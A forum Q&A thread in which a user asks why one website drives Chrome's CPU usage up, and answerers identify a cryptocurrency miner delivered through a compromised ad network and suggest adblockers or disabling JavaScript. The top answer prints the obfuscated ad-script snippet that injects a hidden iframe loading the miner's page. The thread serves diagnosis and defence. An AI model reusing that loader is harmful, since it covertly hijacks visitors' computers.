Whenever I try to visit this particular website, chrome CPU usage shoots up to at least 75% and my laptop get way louder. If I close the tab everything goes back to normal.

Windows Task Manager CPU usage

Chrome Task Manager CPU Usage

RAM usage never goes up. My naive guess is the website is trying to mine cryptocurrency. But I this happens only if I use Chrome, Edge works normally when I visit this website. The website in question is www.123telugu.com. What could be the reason for this behavior?

  • Im using Chrome and my CPU usage doesnt change on the site. Im guessing the issue is local to your PC, not the site.
    – Keltari
    Mar 10, 2018 at 18:34
  • 13
    Being a risky fellow, I visited that site with firefox. That specific tab kicked my CPU to 65% instantly, which is almost how quickly I closed the tab.
    – fred_dot_u
    Mar 10, 2018 at 18:50
  • 2
    I went to that site and same happened so its probably a crypto miner
    – Suici Doga
    Mar 12, 2018 at 3:56
  • 14
    "Is it a cryptocurrency miner?" It's always a crypto miner.
    – Ian Kemp
    Mar 12, 2018 at 5:40
  • 1
    Free advert to visit the site :) Mar 12, 2018 at 19:50

3 Answers 3


Yes, it’s a crypto currency miner. Hosted at www.datasecu.download, implemented in Web Assembly, communicating with its host via Websocket:

enter image description here

It’s distributed using a compromised advertising network:

Extract from https://s3.amazonaws.com/23ap.com/nodejs/sq9/sq_v2.js

var _0x7bc7=["iframe","setAttribute","https://www.datasecu.download/lot.html","head","appendChild","1IABALrINkcv2VFJWo7ctqH0f3Y6aTf1","start","createElement"];!function(t,x){!function(x){for(;--x;)t.push(t.shift())}(++x)}(_0x7bc7,367);var _0x5028=function(t,x){var a=_0x7bc7[t-=0];return console.log(a,t),a};a=document[_0x5028("0x0")](_0x5028("0x1")),a[_0x5028("0x2")]("src",_0x5028("0x3")),a.style.width="0px",a.style.height="1px",document[_0x5028("0x4")][_0x5028("0x5")](a);

tl;dr: Use an Adblocker already.

  • 5
    Virustotal comes back clean. Does no one classify crypto currency miners on websites as malicious?
    – user494585
    Mar 11, 2018 at 1:48
  • 7
    @Ploni there are some causes where their use isn't malicious and actually legitimate
    – Keith M
    Mar 11, 2018 at 3:32
  • 4
    I just added www.datasecu.download to my adblock filters and it blocks it now. Thanks. Mar 11, 2018 at 20:23
  • 5
    @RonJohn I'd argue that cryptocurrency malware isn't that bad, at least compared to getting Forbes'd. I'd rather have my CPU overused for a couple of minutes than malware installed on my computer. Not at all coincidentally, both are prevented by (a) having a strict adblocker and (b) refusing to make exceptions.
    – anon
    Mar 12, 2018 at 6:09
  • 4
    @Ploni Crypto miners are no more malicious than your printed newspaper ad. One taps processing power of your CPU, the other taps processing power of your brain, both do it for the financial gain of its operator. You can close both by closing the page, therefore: "not malicious."
    – Agent_L
    Mar 12, 2018 at 9:03

For ublock you can load the noCoin filter list: https://github.com/hoshsadiq/adblock-nocoin-list/

This datasecu website is already included.


Just disable javascript and the website won't be able to use your pc's cpu. If you use chrome. Right click -> inspect element -> network (tab) -> settings -> disable javascript.

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